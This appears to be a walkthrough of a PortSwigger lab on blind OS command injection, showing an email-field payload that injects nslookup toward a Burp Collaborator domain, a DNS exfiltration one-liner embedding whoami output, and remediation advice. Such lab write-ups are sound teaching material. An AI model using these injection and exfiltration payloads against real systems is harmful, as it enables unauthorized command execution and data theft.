Blind OS Command Injection with Out-of-Band Interaction

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | OS command injection |
| Lab | Blind OS command injection with out-of-band interaction |
| Difficulty | Practitioner |
| Goal | Trigger a DNS lookup to Burp Collaborator |
| Tools | Burp Suite Professional (Repeater + Collaborator) |
What makes this out-of-band?#
This is another blind injection: the feedback form runs a shell command with our input but returns nothing useful in the response. In the time-delay lab we confirmed execution by making the server pause. Here the response never changes at all, so we need a different signal, an out-of-band (OOB) one: getting the server to reach out over a separate channel we control, rather than relying on its HTTP response.
The classic OOB channel is DNS. Even when a server can’t make arbitrary outbound HTTP connections, it almost always resolves DNS names, so if we can make it run a command that looks up a domain we control, the incoming DNS query proves our command executed. Burp Collaborator gives us exactly that: a unique domain plus a server that records any DNS or HTTP interaction sent to it. (Collaborator is a Burp Professional feature.)
Finding the injection point#
The injection point and Burp setup are the same as the
time-delay lab
:
the feedback form, submitted as a blind POST /feedback/submit that returns
only a static “Thank you”, with the vulnerable parameter being the email
field. Capture that request and send it to Repeater.
Exploitation: a DNS callback#
Send the request to Repeater. We inject into email with the || (shell OR)
operator, which runs the command on its right when the command on its left fails,
and wrap it in a || pair so it fires regardless of the surrounding command. The
injected command is nslookup, which performs a DNS lookup of the name we
give it, so pointing it at a Collaborator domain makes the server send a DNS query
there:
email=test@test.com||nslookup x.BURP-COLLABORATOR-SUBDOMAIN||
Rather than paste a Collaborator domain by hand, select the placeholder, right-click, and choose Insert Collaborator payload, Burp generates a unique Collaborator subdomain and drops it in:

The payload now carries a real Collaborator subdomain. Send it (the response is
still the blind empty {}):

Confirming the interaction#
The signal arrives out-of-band, so watch the Collaborator tab in the toolbar:
right after sending, it ticks up to Collaborator (2) (visible in the screenshot
above), meaning interactions have landed. Open the tab and click Poll now to
see them, the server’s nslookup produced a DNS interaction from the target to
your Collaborator subdomain. That incoming query is the proof the command executed,
and the lab is marked solved. Because the whole signal comes over DNS rather than
the app’s response, there’s nothing to read inline, the interaction is the result.
Real-world impact#
A DNS callback looks modest, but it confirms arbitrary command execution on a server that leaks nothing in its responses, and the same out-of-band channel does real work in an authorized engagement:
- Confirming otherwise-invisible RCE — many real injection points are fully blind; an OOB interaction is often the only way to prove the bug exists.
- Data exfiltration over DNS — fold command output into the subdomain you look
up (for example
nslookup $(whoami).<collaborator>), and the data arrives in the DNS query even when all other outbound traffic is blocked. - Reaching a reverse shell or internal services — the same execution can pull a shell or pivot inward; DNS is just the quietest confirmation channel.
It’s the same command execution as every other injection in this series, proven through a side channel. Only ever against systems you are authorized to test.
Remediation#
- Don’t call the OS shell with user input. Use safe, purpose-built APIs instead of building command strings.
- If a shell command is unavoidable, pass arguments as an array/argv so
metacharacters like
||are never interpreted. - Validate input against a strict allow-list (for an email field, validate the format and reject anything else) rather than blacklisting characters.
A concrete, generic example of the safe form. The unsafe version concatenates the email into a shell string:
os.system("mail -s subject " + email)The safe version passes the arguments as a list, with no shell involved:
subprocess.run(["mail", "-s", "subject", email], shell=False)With shell=False and an argument list, ||nslookup …|| in the email is treated
as one (invalid) address, never as shell operators.
Key takeaways#
- When a blind injection reflects nothing and causes no measurable delay, switch to out-of-band: make the server contact a host you control.
- DNS is the most reliable OOB channel, egress firewalls that block HTTP
usually still allow DNS resolution, so
nslookup <collaborator>gets through. - Burp Collaborator (Pro) provides the domain and records the interaction; Insert Collaborator payload wires a unique subdomain straight into the request.
- The same channel upgrades from confirmation to exfiltration by embedding command output in the looked-up subdomain.